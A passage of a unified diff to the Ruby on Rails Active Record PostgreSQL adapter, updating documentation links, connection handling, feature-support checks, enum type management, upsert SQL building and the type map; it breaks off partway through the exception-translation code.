-    # The PostgreSQL adapter works with the native C (https://bitbucket.org/ged/ruby-pg) driver.
+    # = Active Record PostgreSQL Adapter
+    #
+    # The PostgreSQL adapter works with the native C (https://github.com/ged/ruby-pg) driver.
     #
-    # Options:
+    # ==== Options
     #
     # * <tt>:host</tt> - Defaults to a Unix-domain socket in /tmp. On machines without Unix-domain sockets,
     #   the default is to connect to localhost.
     # * <tt>:port</tt> - Defaults to 5432.
     # * <tt>:username</tt> - Defaults to be the same as the operating system name of the user running the application.
     # * <tt>:password</tt> - Password to be used if the server demands password authentication.
-    # * <tt>:database</tt> - Defaults to be the same as the user name.
+    # * <tt>:database</tt> - Defaults to be the same as the username.
     # * <tt>:schema_search_path</tt> - An optional schema search path for the connection given
     #   as a string of comma-separated schema names. This is backward-compatible with the <tt>:schema_order</tt> option.
     # * <tt>:encoding</tt> - An optional client encoding that is used in a <tt>SET client_encoding TO
@@ -62,22 +45,121 @@ module ConnectionAdapters
     #   defaults to true.
     #
     # Any further options are used as connection parameters to libpq. See
-    # http://www.postgresql.org/docs/current/static/libpq-connect.html for the
+    # https://www.postgresql.org/docs/current/static/libpq-connect.html for the
     # list of parameters.
     #
     # In addition, default connection parameters of libpq can be set per environment variables.
-    # See http://www.postgresql.org/docs/current/static/libpq-envars.html .
+    # See https://www.postgresql.org/docs/current/static/libpq-envars.html .
     class PostgreSQLAdapter < AbstractAdapter
-      ADAPTER_NAME = "PostgreSQL".freeze
+      ADAPTER_NAME = "PostgreSQL"
+
+      class << self
+        def new_client(conn_params)
+          PG.connect(**conn_params)
+        rescue ::PG::Error => error
+          if conn_params && conn_params[:dbname] == "postgres"
+            raise ActiveRecord::ConnectionNotEstablished, error.message
+          elsif conn_params && conn_params[:dbname] && error.message.include?(conn_params[:dbname])
+            raise ActiveRecord::NoDatabaseError.db_error(conn_params[:dbname])
+          elsif conn_params && conn_params[:user] && error.message.include?(conn_params[:user])
+            raise ActiveRecord::DatabaseConnectionError.username_error(conn_params[:user])
+          elsif conn_params && conn_params[:host] && error.message.include?(conn_params[:host])
+            raise ActiveRecord::DatabaseConnectionError.hostname_error(conn_params[:host])
+          else
+            raise ActiveRecord::ConnectionNotEstablished, error.message
+          end
+        end
+
+        def dbconsole(config, options = {})
+          pg_config = config.configuration_hash
+
+          ENV["PGUSER"]         = pg_config[:username] if pg_config[:username]
+          ENV["PGHOST"]         = pg_config[:host] if pg_config[:host]
+          ENV["PGPORT"]         = pg_config[:port].to_s if pg_config[:port]
+          ENV["PGPASSWORD"]     = pg_config[:password].to_s if pg_config[:password] && options[:include_password]
+          ENV["PGSSLMODE"]      = pg_config[:sslmode].to_s if pg_config[:sslmode]
+          ENV["PGSSLCERT"]      = pg_config[:sslcert].to_s if pg_config[:sslcert]
+          ENV["PGSSLKEY"]       = pg_config[:sslkey].to_s if pg_config[:sslkey]
+          ENV["PGSSLROOTCERT"]  = pg_config[:sslrootcert].to_s if pg_config[:sslrootcert]
+          if pg_config[:variables]
+            ENV["PGOPTIONS"] = pg_config[:variables].filter_map do |name, value|
+              "-c #{name}=#{value.to_s.gsub(/[ \\]/, '\\\\\0')}" unless value == ":default" || value == :default
+            end.join(" ")
+          end
+          find_cmd_and_exec(ActiveRecord.database_cli[:postgresql], config.database)
+        end
+      end
+
+      ##
+      # :singleton-method:
+      # PostgreSQL allows the creation of "unlogged" tables, which do not record
+      # data in the PostgreSQL Write-Ahead Log. This can make the tables faster,
+      # but significantly increases the risk of data loss if the database
+      # crashes. As a result, this should not be used in production
+      # environments. If you would like all created tables to be unlogged in
+      # the test environment you can add the following to your test.rb file:
+      #
+      #   ActiveSupport.on_load(:active_record_postgresqladapter) do
+      #     self.create_unlogged_tables = true
+      #   end
+      class_attribute :create_unlogged_tables, default: false
+
+      ##
+      # :singleton-method:
+      # PostgreSQL supports multiple types for DateTimes. By default, if you use +datetime+
+      # in migrations, \Rails will translate this to a PostgreSQL "timestamp without time zone".
+      # Change this in an initializer to use another NATIVE_DATABASE_TYPES. For example, to
+      # store DateTimes as "timestamp with time zone":
+      #
+      #   ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.datetime_type = :timestamptz
+      #
+      # Or if you are adding a custom type:
+      #
+      #   ActiveRecord::ConnectionAdapters::PostgreSQLAdapter::NATIVE_DATABASE_TYPES[:my_custom_type] = { name: "my_custom_type_name" }
+      #   ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.datetime_type = :my_custom_type
+      #
+      # If you're using +:ruby+ as your +config.active_record.schema_format+ and you change this
+      # setting, you should immediately run <tt>bin/rails db:migrate</tt> to update the types in your schema.rb.
+      class_attribute :datetime_type, default: :timestamp
+
+      ##
+      # :singleton-method:
+      # Toggles automatic decoding of date columns.
+      #
+      #   ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.select_value("select '2024-01-01'::date").class #=> String
+      #   ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.decode_dates = true
+      #   ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.select_value("select '2024-01-01'::date").class #=> Date
+      class_attribute :decode_dates, default: false
+
+      ##
+      # :singleton-method:
+      # Toggles automatic decoding of money columns.
+      #
+      #   ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.select_value("select '12.34'::money").class #=> String
+      #   ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.decode_money = true
+      #   ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.select_value("select '12.34'::money").class #=> BigDecimal
+      class_attribute :decode_money, default: false
+
+      ##
+      # :singleton-method:
+      # Toggles automatic decoding of bytea columns.
+      #
+      #   ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.select_value("select '\\x48656c6c6f'::bytea").class #=> String
+      #   ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.decode_bytea = true
+      #   ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.select_value("select '\\x48656c6c6f'::bytea").encoding #=> Encoding::BINARY
+      class_attribute :decode_bytea, default: false
 
       NATIVE_DATABASE_TYPES = {
         primary_key: "bigserial primary key",
         string:      { name: "character varying" },
         text:        { name: "text" },
-        integer:     { name: "integer" },
+        integer:     { name: "integer", limit: 4 },
+        bigint:      { name: "bigint" },
         float:       { name: "float" },
         decimal:     { name: "decimal" },
-        datetime:    { name: "timestamp" },
+        datetime:    {}, # set dynamically based on datetime_type
+        timestamp:   { name: "timestamp" },
+        timestamptz: { name: "timestamptz" },
         time:        { name: "time" },
         date:        { name: "date" },
         daterange:   { name: "daterange" },
@@ -111,27 +193,17 @@ class PostgreSQLAdapter < AbstractAdapter
         money:       { name: "money" },
         interval:    { name: "interval" },
         oid:         { name: "oid" },
+        enum:        {} # special type https://www.postgresql.org/docs/current/datatype-enum.html
       }
 
-      OID = PostgreSQL::OID #:nodoc:
+      OID = PostgreSQL::OID # :nodoc:
 
       include PostgreSQL::Quoting
       include PostgreSQL::ReferentialIntegrity
       include PostgreSQL::SchemaStatements
       include PostgreSQL::DatabaseStatements
-      include PostgreSQL::ColumnDumper
-
-      def schema_creation # :nodoc:
-        PostgreSQL::SchemaCreation.new self
-      end
 
-      def arel_visitor # :nodoc:
-        Arel::Visitors::PostgreSQL.new(self)
-      end
-
-      # Returns true, since this connection adapter supports prepared statement
-      # caching.
-      def supports_statement_cache?
+      def supports_bulk_alter?
         true
       end
 
@@ -139,10 +211,18 @@ def supports_index_sort_order?
         true
       end
 
+      def supports_partitioned_indexes?
+        database_version >= 11_00_00 # >= 11.0
+      end
+
       def supports_partial_index?
         true
       end
 
+      def supports_index_include?
+        database_version >= 11_00_00 # >= 11.0
+      end
+
       def supports_expression_index?
         true
       end
@@ -155,6 +235,26 @@ def supports_foreign_keys?
         true
       end
 
+      def supports_check_constraints?
+        true
+      end
+
+      def supports_exclusion_constraints?
+        true
+      end
+
+      def supports_unique_constraints?
+        true
+      end
+
+      def supports_validate_constraints?
+        true
+      end
+
+      def supports_deferrable_constraints?
+        true
+      end
+
       def supports_views?
         true
       end
@@ -164,7 +264,7 @@ def supports_datetime_with_precision?
       end
 
       def supports_json?
-        postgresql_version >= 90200
+        true
       end
 
       def supports_comments?
@@ -175,11 +275,52 @@ def supports_savepoints?
         true
       end
 
+      def supports_restart_db_transaction?
+        database_version >= 12_00_00 # >= 12.0
+      end
+
+      def supports_insert_returning?
+        true
+      end
+
+      def supports_insert_on_conflict?
+        database_version >= 9_05_00 # >= 9.5
+      end
+      alias supports_insert_on_duplicate_skip? supports_insert_on_conflict?
+      alias supports_insert_on_duplicate_update? supports_insert_on_conflict?
+      alias supports_insert_conflict_target? supports_insert_on_conflict?
+
+      def supports_virtual_columns?
+        database_version >= 12_00_00 # >= 12.0
+      end
+
+      def supports_identity_columns? # :nodoc:
+        database_version >= 10_00_00 # >= 10.0
+      end
+
+      def supports_nulls_not_distinct?
+        database_version >= 15_00_00 # >= 15.0
+      end
+
+      def supports_native_partitioning? # :nodoc:
+        database_version >= 10_00_00 # >= 10.0
+      end
+
+      if PG::Connection.method_defined?(:close_prepared) # pg 1.6.0 & libpq 17
+        def supports_close_prepared? # :nodoc:
+          database_version >= 17_00_00
+        end
+      else
+        def supports_close_prepared? # :nodoc:
+          false
+        end
+      end
+
       def index_algorithms
         { concurrently: "CONCURRENTLY" }
       end
 
-      class StatementPool < ConnectionAdapters::StatementPool
+      class StatementPool < ConnectionAdapters::StatementPool # :nodoc:
         def initialize(connection, max)
           super(max)
           @connection = connection
@@ -187,105 +328,117 @@ def initialize(connection, max)
         end
 
         def next_key
-          "a#{@counter + 1}"
-        end
-
-        def []=(sql, key)
-          super.tap { @counter += 1 }
+          "a#{@counter += 1}"
         end
 
         private
-
           def dealloc(key)
-            @connection.query "DEALLOCATE #{key}" if connection_active?
-          end
-
-          def connection_active?
-            @connection.status == PGconn::CONNECTION_OK
-          rescue PGError
-            false
+            # This is ugly, but safe: the statement pool is only
+            # accessed while holding the connection's lock. (And we
+            # don't need the complication of with_raw_connection because
+            # a reconnect would invalidate the entire statement pool.)
+            if (conn = @connection.instance_variable_get(:@raw_connection)) && conn.status == PG::CONNECTION_OK
+              if @connection.supports_close_prepared?
+                conn.close_prepared key
+              else
+                conn.query "DEALLOCATE #{key}"
+              end
+            end
+          rescue PG::Error
           end
       end
 
       # Initializes and connects a PostgreSQL adapter.
-      def initialize(connection, logger, connection_parameters, config)
-        super(connection, logger, config)
+      def initialize(...)
+        super
 
-        @connection_parameters = connection_parameters
+        conn_params = @config.compact
 
-        # @local_tz is initialized as nil to avoid warnings when connect tries to use it
-        @local_tz = nil
-        @table_alias_length = nil
+        # Map ActiveRecords param names to PGs.
+        conn_params[:user] = conn_params.delete(:username) if conn_params[:username]
+        conn_params[:dbname] = conn_params.delete(:database) if conn_params[:database]
 
-        connect
-        add_pg_encoders
-        @statements = StatementPool.new @connection,
-                                        self.class.type_cast_config_to_integer(config[:statement_limit])
+        # Forward only valid config params to PG::Connection.connect.
+        valid_conn_param_keys = PG::Connection.conndefaults_hash.keys + [:requiressl]
+        conn_params.slice!(*valid_conn_param_keys)
 
-        if postgresql_version < 90100
-          raise "Your version of PostgreSQL (#{postgresql_version}) is too old. Active Record supports PostgreSQL >= 9.1."
-        end
+        @connection_parameters = conn_params
 
-        add_pg_decoders
+        @max_identifier_length = nil
+        @type_map = nil
+        @raw_connection = nil
+        @notice_receiver_sql_warnings = []
 
-        @type_map = Type::HashLookupTypeMap.new
-        initialize_type_map(type_map)
-        @local_tz = execute("SHOW TIME ZONE", "SCHEMA").first["TimeZone"]
         @use_insert_returning = @config.key?(:insert_returning) ? self.class.type_cast_config_to_boolean(@config[:insert_returning]) : true
       end
 
-      # Clears the prepared statements cache.
-      def clear_cache!
-        @statements.clear
-      end
-
-      def truncate(table_name, name = nil)
-        exec_query "TRUNCATE TABLE #{quote_table_name(table_name)}", name, []
+      def connected?
+        !(@raw_connection.nil? || @raw_connection.finished?)
       end
 
       # Is this connection alive and ready for queries?
       def active?
-        @connection.query "SELECT 1"
+        @lock.synchronize do
+          return false unless @raw_connection
+          @raw_connection.query ";"
+          verified!
+        end
         true
-      rescue PGError
+      rescue PG::Error
         false
       end
 
-      # Close then reopen the connection.
-      def reconnect!
-        super
-        @connection.reset
-        configure_connection
+      def reload_type_map # :nodoc:
+        @lock.synchronize do
+          if @type_map
+            type_map.clear
+          else
+            @type_map = Type::HashLookupTypeMap.new
+          end
+
+          initialize_type_map
+        end
       end
 
       def reset!
-        clear_cache!
-        reset_transaction
-        unless @connection.transaction_status == ::PG::PQTRANS_IDLE
-          @connection.query "ROLLBACK"
+        @lock.synchronize do
+          return connect! unless @raw_connection
+
+          unless @raw_connection.transaction_status == ::PG::PQTRANS_IDLE
+            @raw_connection.query "ROLLBACK"
+          end
+          @raw_connection.query "DISCARD ALL"
+
+          super
         end
-        @connection.query "DISCARD ALL"
-        configure_connection
       end
 
       # Disconnects from the database if already connected. Otherwise, this
       # method does nothing.
       def disconnect!
-        super
-        @connection.close rescue nil
+        @lock.synchronize do
+          super
+          @raw_connection&.close rescue nil
+          @raw_connection = nil
+        end
       end
 
-      def native_database_types #:nodoc:
-        NATIVE_DATABASE_TYPES
+      def discard! # :nodoc:
+        super
+        @raw_connection&.socket_io&.reopen(IO::NULL) rescue nil
+        @raw_connection = nil
       end
 
-      # Returns true, since this connection adapter supports migrations.
-      def supports_migrations?
-        true
+      def self.native_database_types # :nodoc:
+        @native_database_types ||= begin
+          types = NATIVE_DATABASE_TYPES.dup
+          types[:datetime] = types[datetime_type]
+          types
+        end
       end
 
       def set_standard_conforming_strings
-        execute("SET standard_conforming_strings = on", "SCHEMA")
+        query_command("SET standard_conforming_strings = on", "SCHEMA")
       end
 
       def supports_ddl_transactions?
@@ -304,162 +457,263 @@ def supports_extensions?
         true
       end
 
-      # Range datatypes weren't introduced until PostgreSQL 9.2
-      def supports_ranges?
-        postgresql_version >= 90200
+      def supports_materialized_views?
+        true
       end
 
-      def supports_materialized_views?
-        postgresql_version >= 90300
+      def supports_foreign_tables?
+        true
       end
 
       def supports_pgcrypto_uuid?
-        postgresql_version >= 90400
+        database_version >= 9_04_00 # >= 9.4
+      end
+
+      def supports_optimizer_hints?
+        unless defined?(@has_pg_hint_plan)
+          @has_pg_hint_plan = extension_available?("pg_hint_plan")
+        end
+        @has_pg_hint_plan
+      end
+
+      def supports_common_table_expressions?
+        true
+      end
+
+      def supports_lazy_transactions?
+        true
+      end
+
+      def supports_force_drop_database? # :nodoc:
+        database_version >= 13_00_00 # >= 13.0
       end
 
       def get_advisory_lock(lock_id) # :nodoc:
         unless lock_id.is_a?(Integer) && lock_id.bit_length <= 63
-          raise(ArgumentError, "Postgres requires advisory lock ids to be a signed 64 bit integer")
+          raise(ArgumentError, "PostgreSQL requires advisory lock ids to be a signed 64 bit integer")
         end
-        select_value("SELECT pg_try_advisory_lock(#{lock_id});")
+        query_value("SELECT pg_try_advisory_lock(#{lock_id})", nil, materialize_transactions: true)
       end
 
       def release_advisory_lock(lock_id) # :nodoc:
         unless lock_id.is_a?(Integer) && lock_id.bit_length <= 63
-          raise(ArgumentError, "Postgres requires advisory lock ids to be a signed 64 bit integer")
+          raise(ArgumentError, "PostgreSQL requires advisory lock ids to be a signed 64 bit integer")
         end
-        select_value("SELECT pg_advisory_unlock(#{lock_id})")
+        query_value("SELECT pg_advisory_unlock(#{lock_id})", nil, materialize_transactions: true)
       end
 
-      def enable_extension(name)
-        exec_query("CREATE EXTENSION IF NOT EXISTS \"#{name}\"").tap {
-          reload_type_map
-        }
+      def enable_extension(name, **)
+        schema, name = name.to_s.split(".").values_at(-2, -1)
+        sql = +"CREATE EXTENSION IF NOT EXISTS \"#{name}\""
+        sql << " SCHEMA #{schema}" if schema
+
+        query_command(sql)
+        reload_type_map
       end
 
-      def disable_extension(name)
-        exec_query("DROP EXTENSION IF EXISTS \"#{name}\" CASCADE").tap {
-          reload_type_map
-        }
+      # Removes an extension from the database.
+      #
+      # [<tt>:force</tt>]
+      #   Set to +:cascade+ to drop dependent objects as well.
+      #   Defaults to false.
+      def disable_extension(name, force: false)
+        _schema, name = name.to_s.split(".").values_at(-2, -1)
+        query_command("DROP EXTENSION IF EXISTS \"#{name}\"#{' CASCADE' if force == :cascade}")
+        reload_type_map
+      end
+
+      def extension_available?(name)
+        query_value("SELECT true FROM pg_available_extensions WHERE name = #{quote(name)}")
       end
 
       def extension_enabled?(name)
-        if supports_extensions?
-          res = exec_query "SELECT EXISTS(SELECT * FROM pg_available_extensions WHERE name = '#{name}' AND installed_version IS NOT NULL) as enabled",
-            "SCHEMA"
-          res.cast_values.first
-        end
+        query_value("SELECT installed_version IS NOT NULL FROM pg_available_extensions WHERE name = #{quote(name)}")
       end
 
       def extensions
-        if supports_extensions?
-          exec_query("SELECT extname from pg_extension", "SCHEMA").cast_values
-        else
-          super
+        query = <<~SQL
+          SELECT
+            pg_extension.extname,
+            n.nspname AS schema
+          FROM pg_extension
+          JOIN pg_namespace n ON pg_extension.extnamespace = n.oid
+        SQL
+
+        query_all(query).cast_values.map do |row|
+          name, schema = row[0], row[1]
+          schema = nil if schema == current_schema
+          [schema, name].compact.join(".")
         end
       end
 
-      # Returns the configured supported identifier length supported by PostgreSQL
-      def table_alias_length
-        @table_alias_length ||= query("SHOW max_identifier_length", "SCHEMA")[0][0].to_i
+      # Returns a list of defined enum types, and their values.
+      def enum_types
+        query = <<~SQL
+          SELECT
+            type.typname AS name,
+            type.OID AS oid,
+            n.nspname AS schema,
+            array_agg(enum.enumlabel ORDER BY enum.enumsortorder) AS value
+          FROM pg_enum AS enum
+          JOIN pg_type AS type ON (type.oid = enum.enumtypid)
+          JOIN pg_namespace n ON type.typnamespace = n.oid
+          WHERE n.nspname = ANY (current_schemas(false))
+          GROUP BY type.OID, n.nspname, type.typname;
+        SQL
+
+        query_all(query).cast_values.each_with_object({}) do |row, memo|
+          name, schema = row[0], row[2]
+          schema = nil if schema == current_schema
+          full_name = [schema, name].compact.join(".")
+          memo[full_name] = row.last
+        end.to_a
       end
 
-      # Set the authorized user for this session
-      def session_auth=(user)
-        clear_cache!
-        exec_query "SET SESSION AUTHORIZATION #{user}"
+      # Given a name and an array of values, creates an enum type.
+      def create_enum(name, values, **options)
+        sql_values = values.map { |s| quote(s) }.join(", ")
+        scope = quoted_scope(name)
+        query = <<~SQL
+          DO $$
+          BEGIN
+              IF NOT EXISTS (
+                SELECT 1
+                FROM pg_type t
+                JOIN pg_namespace n ON t.typnamespace = n.oid
+                WHERE t.typname = #{scope[:name]}
+                  AND n.nspname = #{scope[:schema]}
+              ) THEN
+                  CREATE TYPE #{quote_table_name(name)} AS ENUM (#{sql_values});
+              END IF;
+          END
+          $$;
+        SQL
+        query_command(query)
+        reload_type_map
       end
 
-      def use_insert_returning?
-        @use_insert_returning
+      # Drops an enum type.
+      #
+      # If the <tt>if_exists: true</tt> option is provided, the enum is dropped
+      # only if it exists. Otherwise, if the enum doesn't exist, an error is
+      # raised.
+      #
+      # The +values+ parameter will be ignored if present. It can be helpful
+      # to provide this in a migration's +change+ method so it can be reverted.
+      # In that case, +values+ will be used by #create_enum.
+      def drop_enum(name, values = nil, **options)
+        query = <<~SQL
+          DROP TYPE#{' IF EXISTS' if options[:if_exists]} #{quote_table_name(name)};
+        SQL
+        query_command(query)
+        reload_type_map
       end
 
-      def valid_type?(type)
-        !native_database_types[type].nil?
+      # Rename an existing enum type to something else.
+      def rename_enum(name, new_name = nil, **options)
+        new_name ||= options.fetch(:to) do
+          raise ArgumentError, "rename_enum requires two from/to name positional arguments."
+        end
+
+        exec_query("ALTER TYPE #{quote_table_name(name)} RENAME TO #{quote_table_name(new_name)}").tap { reload_type_map }
       end
 
-      def update_table_definition(table_name, base) #:nodoc:
-        PostgreSQL::Table.new(table_name, base)
+      # Add enum value to an existing enum type.
+      def add_enum_value(type_name, value, **options)
+        before, after = options.values_at(:before, :after)
+        sql = +"ALTER TYPE #{quote_table_name(type_name)} ADD VALUE"
+        sql << " IF NOT EXISTS" if options[:if_not_exists]
+        sql << " #{quote(value)}"
+
+        if before && after
+          raise ArgumentError, "Cannot have both :before and :after at the same time"
+        elsif before
+          sql << " BEFORE #{quote(before)}"
+        elsif after
+          sql << " AFTER #{quote(after)}"
+        end
+
+        execute(sql).tap { reload_type_map }
       end
 
-      def lookup_cast_type(sql_type) # :nodoc:
-        oid = execute("SELECT #{quote(sql_type)}::regtype::oid", "SCHEMA").first["oid"].to_i
-        super(oid)
+      # Rename enum value on an existing enum type.
+      def rename_enum_value(type_name, **options)
+        unless database_version >= 10_00_00 # >= 10.0
+          raise ArgumentError, "Renaming enum values is only supported in PostgreSQL 10 or later"
+        end
+
+        from = options.fetch(:from) { raise ArgumentError, ":from is required" }
+        to = options.fetch(:to) { raise ArgumentError, ":to is required" }
+
+        execute("ALTER TYPE #{quote_table_name(type_name)} RENAME VALUE #{quote(from)} TO #{quote(to)}").tap {
+          reload_type_map
+        }
       end
 
-      def column_name_for_operation(operation, node) # :nodoc:
-        OPERATION_ALIASES.fetch(operation) { operation.downcase }
+      # Returns the configured maximum supported identifier length supported by PostgreSQL
+      def max_identifier_length
+        @max_identifier_length ||= query_value("SHOW max_identifier_length").to_i
       end
 
-      OPERATION_ALIASES = { # :nodoc:
-        "maximum" => "max",
-        "minimum" => "min",
-        "average" => "avg",
-      }
+      # Set the authorized user for this session
+      def session_auth=(user)
+        clear_cache!
+        query_command("SET SESSION AUTHORIZATION #{user}", nil, materialize_transactions: true)
+      end
+
+      def use_insert_returning?
+        @use_insert_returning
+      end
 
       # Returns the version of the connected PostgreSQL server.
-      def postgresql_version
-        @connection.server_version
+      def get_database_version # :nodoc:
+        with_raw_connection do |conn|
+          version = conn.server_version
+          if version == 0
+            raise ActiveRecord::ConnectionNotEstablished, "Could not determine PostgreSQL version"
+          end
+          version
+        end
       end
+      alias :postgresql_version :database_version
 
       def default_index_type?(index) # :nodoc:
         index.using == :btree || super
       end
 
-      private
-
-        # See http://www.postgresql.org/docs/current/static/errcodes-appendix.html
-        VALUE_LIMIT_VIOLATION = "22001"
-        NUMERIC_VALUE_OUT_OF_RANGE = "22003"
-        NOT_NULL_VIOLATION    = "23502"
-        FOREIGN_KEY_VIOLATION = "23503"
-        UNIQUE_VIOLATION      = "23505"
-        SERIALIZATION_FAILURE = "40001"
-        DEADLOCK_DETECTED     = "40P01"
-
-        def translate_exception(exception, message)
-          return exception unless exception.respond_to?(:result)
+      def build_insert_sql(insert) # :nodoc:
+        sql = +"INSERT #{insert.into} #{insert.values_list}"
 
-          case exception.result.try(:error_field, PGresult::PG_DIAG_SQLSTATE)
-          when UNIQUE_VIOLATION
-            RecordNotUnique.new(message)
-          when FOREIGN_KEY_VIOLATION
-            InvalidForeignKey.new(message)
-          when VALUE_LIMIT_VIOLATION
-            ValueTooLong.new(message)
-          when NUMERIC_VALUE_OUT_OF_RANGE
-            RangeError.new(message)
-          when NOT_NULL_VIOLATION
-            NotNullViolation.new(message)
-          when SERIALIZATION_FAILURE
-            SerializationFailure.new(message)
-          when DEADLOCK_DETECTED
-            Deadlocked.new(message)
+        if insert.skip_duplicates?
+          sql << " ON CONFLICT #{insert.conflict_target} DO NOTHING"
+        elsif insert.update_duplicates?
+          sql << " ON CONFLICT #{insert.conflict_target} DO UPDATE SET "
+          if insert.raw_update_sql?
+            sql << insert.raw_update_sql
           else
-            super
+            sql << insert.touch_model_timestamps_unless { |column| "#{insert.model.quoted_table_name}.#{column} IS NOT DISTINCT FROM excluded.#{column}" }
+            sql << insert.updatable_columns.map { |column| "#{column}=excluded.#{column}" }.join(",")
           end
         end
 
-        def get_oid_type(oid, fmod, column_name, sql_type = "".freeze)
-          if !type_map.key?(oid)
-            load_additional_types(type_map, [oid])
-          end
+        sql << " RETURNING #{insert.returning}" if insert.returning
+        sql
+      end
 
-          type_map.fetch(oid, fmod, sql_type) {
-            warn "unknown OID #{oid}: failed to recognize type of '#{column_name}'. It will be treated as String."
-            Type.default_value.tap do |cast_type|
-              type_map.register_type(oid, cast_type)
-            end
-          }
+      def check_version # :nodoc:
+        if database_version < 9_03_00 # < 9.3
+          raise "Your version of PostgreSQL (#{database_version}) is too old. Active Record supports PostgreSQL >= 9.3."
         end
+      end
 
-        def initialize_type_map(m)
-          register_class_with_limit m, "int2", Type::Integer
-          register_class_with_limit m, "int4", Type::Integer
-          register_class_with_limit m, "int8", Type::Integer
+      class << self
+        def initialize_type_map(m) # :nodoc:
+          m.register_type "int2", Type::Integer.new(limit: 2)
+          m.register_type "int4", Type::Integer.new(limit: 4)
+          m.register_type "int8", Type::Integer.new(limit: 8)
           m.register_type "oid", OID::Oid.new
-          m.register_type "float4", Type::Float.new
-          m.alias_type "float8", "float4"
+          m.register_type "float4", Type::Float.new(limit: 24)
+          m.register_type "float8", Type::Float.new
           m.register_type "text", Type::Text.new
           register_class_with_limit m, "varchar", Type::String
           m.alias_type "char", "varchar"
@@ -468,21 +722,20 @@ def initialize_type_map(m)
           m.register_type "bool", Type::Boolean.new
           register_class_with_limit m, "bit", OID::Bit
           register_class_with_limit m, "varbit", OID::BitVarying
-          m.alias_type "timestamptz", "timestamp"
-          m.register_type "date", Type::Date.new
+          m.register_type "date", OID::Date.new
 
           m.register_type "money", OID::Money.new
           m.register_type "bytea", OID::Bytea.new
           m.register_type "point", OID::Point.new
           m.register_type "hstore", OID::Hstore.new
-          m.register_type "json", OID::Json.new
+          m.register_type "json", Type::Json.new
           m.register_type "jsonb", OID::Jsonb.new
           m.register_type "cidr", OID::Cidr.new
           m.register_type "inet", OID::Inet.new
           m.register_type "uuid", OID::Uuid.new
           m.register_type "xml", OID::Xml.new
           m.register_type "tsvector", OID::SpecializedString.new(:tsvector)
-          m.register_type "macaddr", OID::SpecializedString.new(:macaddr)
+          m.register_type "macaddr", OID::Macaddr.new
           m.register_type "citext", OID::SpecializedString.new(:citext)
           m.register_type "ltree", OID::SpecializedString.new(:ltree)
           m.register_type "line", OID::SpecializedString.new(:line)
@@ -492,14 +745,6 @@ def initialize_type_map(m)
           m.register_type "polygon", OID::SpecializedString.new(:polygon)
           m.register_type "circle", OID::SpecializedString.new(:circle)
 
-          m.register_type "interval" do |_, _, sql_type|
-            precision = extract_precision(sql_type)
-            OID::SpecializedString.new(:interval, precision: precision)
-          end
-
-          register_class_with_precision m, "time", Type::Time
-          register_class_with_precision m, "timestamp", OID::DateTime
-
           m.register_type "numeric" do |_, fmod, sql_type|
             precision = extract_precision(sql_type)
             scale = extract_scale(sql_type)
@@ -520,33 +765,39 @@ def initialize_type_map(m)
             end
           end
 
-          load_additional_types(m)
+          m.register_type "interval" do |*args, sql_type|
+            precision = extract_precision(sql_type)
+            OID::Interval.new(precision: precision)
+          end
         end
+      end
 
-        def extract_limit(sql_type)
-          case sql_type
-          when /^bigint/i, /^int8/i
-            8
-          when /^smallint/i
-            2
-          else
-            super
-          end
+      private
+        attr_reader :type_map
+
+        def initialize_type_map(m = type_map)
+          self.class.initialize_type_map(m)
+
+          self.class.register_class_with_precision m, "time", Type::Time, timezone: @default_timezone
+          self.class.register_class_with_precision m, "timestamp", OID::Timestamp, timezone: @default_timezone
+          self.class.register_class_with_precision m, "timestamptz", OID::TimestampWithTimeZone
+
+          load_additional_types
         end
 
         # Extracts the value from a PostgreSQL column default definition.
         def extract_value_from_default(default)
           case default
             # Quoted types
-          when /\A[\(B]?'(.*)'.*::"?([\w. ]+)"?(?:\[\])?\z/m
+          when /\A[(B]?'(.*)'.*::"?([\w. ]+)"?(?:\[\])?\z/m
             # The default 'now'::date is CURRENT_DATE
-            if $1 == "now".freeze && $2 == "date".freeze
+            if $1 == "now" && $2 == "date"
               nil
             else
-              $1.gsub("''".freeze, "'".freeze)
+              $1.gsub("''", "'")
             end
             # Boolean types
-          when "true".freeze, "false".freeze
+          when "true", "false"
             default
             # Numeric types
           when /\A\(?(-?\d+(\.\d*)?)\)?(::bigint)?\z/
@@ -566,83 +817,124 @@ def extract_default_function(default_value, default)
         end
 
         def has_default_function?(default_value, default)
-          !default_value && (%r{\w+\(.*\)|\(.*\)::\w+} === default)
+          !default_value && %r{\w+\(.*\)|\(.*\)::\w+|CURRENT_DATE|CURRENT_TIMESTAMP}.match?(default)
         end
 
-        def load_additional_types(type_map, oids = nil)
-          initializer = OID::TypeMapInitializer.new(type_map)
+        # See https://www.postgresql.org/docs/current/static/errcodes-appendix.html
+        VALUE_LIMIT_VIOLATION = "22001"
+        NUMERIC_VALUE_OUT_OF_RANGE = "22003"
+        NOT_NULL_VIOLATION    = "23502"
+        FOREIGN_KEY_VIOLATION = "23503"
+        UNIQUE_VIOLATION      = "23505"
+        CHECK_VIOLATION       = "23514"
+        EXCLUSION_VIOLATION   = "23P01"
+        SERIALIZATION_FAILURE = "40001"
+        DEADLOCK_DETECTED     = "40P01"
+        DUPLICATE_DATABASE    = "42P04"
+        LOCK_NOT_AVAILABLE    = "55P03"
+        QUERY_CANCELED        = "57014"
 
-          if supports_ranges?
-            query = <<-SQL
-              SELECT t.oid, t.typname, t.typelem, t.typdelim, t.typinput, r.rngsubtype, t.typtype, t.typbasetype
-              FROM pg_type as t
-              LEFT JOIN pg_range as r ON oid = rngtypid
-            SQL
-          else
-            query = <<-SQL
-              SELECT t.oid, t.typname, t.typelem, t.typdelim, t.typinput, t.typtype, t.typbasetype
-              FROM pg_type as t
-            SQL
-          end
+        def translate_exception(exception, message:, sql:, binds:)
+          return exception unless exception.respond_to?(:result)
 
-          if oids
-            query += "WHERE t.oid::integer IN (%s)" % oids.join(", ")
+          case exception.result.try(:error_field, PG::PG_DIAG_SQLSTATE)
+          when nil
+            if exception.message.match?(/connection is closed/i) || exception.message.match?(/no connection to the server/i)
+              ConnectionNotEstablished.new(exception, connection_pool: @pool)
